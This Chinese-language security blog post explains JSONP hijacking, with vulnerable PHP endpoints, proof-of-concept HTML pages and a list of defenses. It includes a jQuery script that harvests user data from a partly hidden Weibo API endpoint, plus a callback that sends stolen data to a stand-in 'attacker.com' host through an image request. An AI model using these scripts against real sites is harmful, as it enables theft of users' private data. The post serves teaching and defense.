jsonp劫持攻击

jsonp 全称是JSON with Padding,是一个非官方的协议json的一种使用模式,可以让网页从别的网站那获取资料,利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的js脚本同时带一个callback函数名作为参数。

服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数,网页可以得到从其他来源动态产生的json数据,因此可以用来实现跨域。

 

 

 

如果网站B对网站A的JSONP请求没有进行安全检查直接返回数据,则网站B 便存在JSONP 漏洞,网站A 利用JSONP漏洞能够获取用户在网站B上的数据。

JSONP漏洞利用过程如下:

1、用户在网站B注册并登录,网站B 包含了用户的id,name,email等信息。

2、用户通过浏览器向网站A发出URL请求。

3、网站A向用户返回响应页面,响应页面中注册了js的回调函数和向网站B请求的script标签,示例代码如下:

1

2

3

4

5

6

7

<script type="text/javascript">

function Callback(result)

{

    alert(result.name);

}

</script>

<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>

4、用户收到响应,解析JS代码,将回调函数作为参数向网站B发出请求;

5、网站B接收到请求后,解析请求的URL,以 JSON 格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器,网站B返回的数据实例如下:

1

Callback({"id":1,"name":"test","email":"test@test.com"})。

 6、网站B数据返回后,浏览器则自动执行Callback函数对步骤4返回的JSON格式数据进行处理,通过alert弹窗展示了用户在网站B的注册信息。另外也可将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息。

 

JSONP利用过程

 

 

JSONP 漏洞利用技巧

主要被攻击者用来在受害者不知不觉中窃取他们的隐私数据,常常被一些 APT 组织采用进行信息收集和钓鱼的工作( 水坑攻击 ),下面的一个例子就可以说是在模拟水坑攻击。

当我们发现信息泄露的 jsonp 接口以后我们要做的就是在自己的网站上写一个脚本,然后引诱受害者去访问这个网站,一旦访问了这个网站,脚本就会自动运行,就会想这个接口请求用户的敏感数据,并传送到攻击者的服务器上

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

$.ajax({

    url: 'https://api.weibo.com/2/{隐藏了哦}',

    type: 'get',

    dataType: 'jsonp',

}).done(function(json){

    var id = json["data"]["id"];

    var screen_name = json["data"]["screen_name"];

    var profile_image_url = json["data"]["profile_image_url"];

 

    var post_data = "";

    post_data += "id=" + id + "&";

    post_data += "screen_name=" + screen_name + "&";

    post_data += "profile_image_url=" + encodeURIComponent(profile_image_url);

    console.log(post_data);

    // 发送到我的服务器上

}).fail(function() {});

 这样就能收到大量用户的敏感信息了

 

相关扩展

敏感信息除了一些 email 手机号 用户名等,还可以是 CSRF Token 信息。

有时候在 CSRF token 获取不到但是又找不到 XSS 的攻击点的时候,应该考虑一下jsonp劫持,这种攻击方式有点类似于CSRF。

 

防护方案

1、严格安全的实现 CSRF 方式调用 JSON 文件,限制 Referer 、部署一次性 Token 等。

2、严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。

3、严格过滤 callback 函数名及 JSON 里数据的输出。

4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。

5、如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ,这样的代码来防止 JS 远程调用。

 

如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON ):

{"id" : "1","name" : "hello jsonp"}

对于实际应用过程中 callback 的名称在后台实现是动态输出的。如上面例子在 PHP 实现:

<?php
//getUsers.php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "hello jsonp"});';
?>

 

然后在 a.com 使用 <script> 进行远程调用,在 Jquery 里可以直接这样调用:

<script type="text/javascript" src="http://mini.jiasule.com/framework/jquery/1.9.1/jquery-1.9.1.js"></script>
<script type="text/javascript">
    $.getJSON("http://www.b.com/getUsers.php?callback=?", function(getUsers){
          alert(getUsers.name);
    });
</script>

JSONP劫持漏洞实例

getUser.php

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//得到回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"hello jsonp"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp数据
?>

 

客户端实现 callbackFunction 函数实现劫持

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert(result.name);
        }
</script>
<script type="text/javascript" src="http://10.10.10.10/jsonp/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>

出现弹窗

 

jQuery 使用 JSONP

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>JSONP劫持</title>
    <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>    
</head>
<body>
<div id="testag"></div>

<script type="text/javascript">    
    $.getJSON("http://10.10.10.10/jsonp/getUser.php?jsoncallback=?", function(getUsers){
          alert(getUsers.name);
    });
</script>
</body>
</html>

出现弹窗

 

### JSONP 劫持的原理 JSONP(JSON with Padding)是一种通过 `<script>` 标签绕过浏览器同源策略的技术。它的核心机制在于利用了 `<script>` 标签可以加载跨域资源的能力,而这种能力不受同源政策限制。然而,由于 JSONP 的设计缺陷,可能导致安全风险。 #### 原理分析 JSONP 请求通常由服务器返回一段 JavaScript 代码,这段代码会被客户端动态执行。假设存在一个支持 JSONP 的接口 `http://example.com/api?callback=foo`,该接口会返回如下形式的数据: ```javascript foo({"key": "value"}); ``` 这里的 `foo` 是客户端指定的一个函数名,用于处理返回的结果。如果攻击者能够控制回调函数的内容或者用户的访问环境,则可能引发安全性问题。 具体来说,JSONP 劫持主要依赖于以下几个条件: 1. **目标网站提供 JSONP 支持**:即允许用户自定义 callback 参数。 2. **受害者登录状态可被利用**:例如,攻击者能获取到受害者的 Cookie 或其他认证信息。 3. **恶意脚本注入**:攻击者可以在第三方页面中嵌入 `<script>` 标签指向目标 API 地址,并设置自己的回调函数名称。 一旦上述条件满足,攻击者就可以通过构造合适的 URL 和回调函数窃取敏感数据[^1]。 --- ### 利用方式 以下是典型的 JSONP 劫持过程描述: 1. **准备阶段** - 攻击者创建一个网页,在其中加入以下 HTML 片段: ```html <script> function maliciousCallback(data) { alert('Stolen data: ' + JSON.stringify(data)); // 将盗取的信息发送至远程服务器 var img = new Image(); img.src = "http://attacker.com/log?" + encodeURIComponent(JSON.stringify(data)); } </script> <script src="http://vulnerable-site.com/api?callback=maliciousCallback"></script> ``` 2. **触发阶段** - 当用户访问此恶意网页时,浏览器会向 `http://vulnerable-site.com/api?callback=maliciousCallback` 发起请求。 - 如果用户已登录到 `vulnerable-site.com` 并携带有效 Session ID (Cookie),那么响应将包含受保护的数据。 3. **后果** - 返回的数据会被传递给 `maliciousCallback()` 函数并被执行。 - 此过程中,敏感信息可能会泄露给攻击者。 需要注意的是,现代 Web 应用已经逐渐淘汰了纯 JSONP 方案,转而使用 CORS 来解决跨域资源共享需求,从而减少此类安全隐患的发生概率[^5]。 --- ### 防护措施建议 为了防止 JSONP 被滥用造成危害,可以从多个角度采取防护手段: - 不再对外公开支持任意参数命名的 JSONP 接口; - 对所有 GET 请求实施严格的 CSRF Token 校验; - 使用 HTTPS 加密通信链路以降低中间人攻击的风险; - 教育开发者避免在生产环境中暴露未授权即可调用的服务端点。 ---
评论 5
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值